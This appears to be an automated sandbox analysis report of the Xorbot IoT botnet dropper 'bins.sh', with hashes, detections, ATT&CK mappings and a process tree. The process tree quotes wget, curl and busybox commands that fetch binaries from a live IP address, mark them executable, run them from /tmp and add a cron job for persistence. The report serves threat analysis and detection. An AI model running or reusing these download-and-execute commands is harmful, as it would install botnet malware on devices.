xorbot | f5d540dc9d7d7b789b722ef76b6312d8916f92dc0268ac50f0516cc55c3eb417

Analysis

max time kernel
149s
max time network
151s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
28/02/2025, 05:06

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General

Target

bins.sh
Size

10KB
MD5

33f9f0f790d74a4b0e288f22161d11f1
SHA1

d294310cfdb18d6bcf63b4c0e60995ca5fe42203
SHA256

f5d540dc9d7d7b789b722ef76b6312d8916f92dc0268ac50f0516cc55c3eb417
SHA512

27a99c4022a5750dfb7b1a80c8ae67e01a4ab6f58d02e6aa1483cda88160c3408556bfd5dc0637112b91444d544f6afc5a69fcaf1d70224c27d952fabc694be6
SSDEEP

192:OkcFWyxt9Fm/DW4N9237IZ3eZzSfN9237QEkcFWyxl9Fm/D4a:OkcFWyxt9Fm/DW4N9237IZ3eZzSfN92S

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1509	chmod
1608	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p	1510	bins.sh
/tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc	1609	bins.sh

Renames itself 1 IoCs

pid	Process
1511	XQw82vXECRUV429SDvD0heUyhUITAYsq7p

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.fK18FW	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/14/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/23/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/31/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1133/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1244/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1517/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1240/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1555/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/26/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/418/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/441/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/539/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/708/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1532/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1547/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/15/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/609/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1068/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1080/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1155/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1534/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/20/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/89/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/355/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/424/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1031/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1074/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1607/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1174/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1498/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1562/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1591/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/16/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/22/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1529/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1551/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1575/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1579/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1590/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1312/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1624/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/80/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1149/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/170/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/28/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1092/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1166/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1552/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/484/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1549/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1101/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1602/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/10/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/98/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/182/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1527/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1581/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1587/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1596/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1612/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/9/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/11/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1568/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1189/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p	wget
File opened for modification	/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p	curl
File opened for modification	/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p	busybox
File opened for modification	/tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc	curl
File opened for modification	/tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc	busybox
File opened for modification	/tmp/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:1501
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1502
- /usr/bin/wget
  wget http://37.44.238.88/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - Writes file to tmp directory
  PID:1503
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - Writes file to tmp directory
  PID:1507
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - Writes file to tmp directory
  PID:1508
- /bin/chmod
  chmod 777 XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - File and Directory Permissions Modification
  PID:1509
- /tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  ./XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:1510
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1512
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1513
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1514
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1515
- /bin/rm
  rm XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  PID:1520
- /usr/bin/wget
  wget http://37.44.238.88/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  PID:1521
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  - Writes file to tmp directory
  PID:1522
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  - Writes file to tmp directory
  PID:1603
- /bin/chmod
  chmod 777 PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  - File and Directory Permissions Modification
  PID:1608
- /tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  ./PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  PID:1609
- /bin/rm
  rm PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  PID:1611
- /usr/bin/wget
  wget http://37.44.238.88/bins/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
  2⤵
  - Writes file to tmp directory
  PID:1612

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT

Filesize
37KB

MD5
6fa6e9e426835a961b3bca1db8673a3e

SHA1
949dce6fc9861d7d9fa58f940f3591f897de0f31

SHA256
c30ff6317aa2399ac0b2c194196a17cae6cf204dd9660713a52787de53ef428c

SHA512
6f5dd9a5ab22bd4bfc7cf789b67daba589a46af1f234a97583c944152650996615044784097049749b6d734cf9489f3dc1ad4d52ade7e0f9a60b52c022da842c

Download Submit
/var/spool/cron/crontabs/tmp.fK18FW

Filesize
210B

MD5
ff93bcdb252e8fd0ea8421f8aef40498

SHA1
d377e994801a0bfc7037b1ea4a453a3e3b2a7b03

SHA256
5bf878fb384acc3b6f441111e2a3326d9ab89e9cb8a81d8d469254e424548bbf

SHA512
36012ac9d15beb43589b37d082537c67a80527e71f4897ee062ebcbfad2563cc045c2d876b7a01bf75a7bf28335eb0fa586a36272b6f03afcf42c0b030589b1f

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads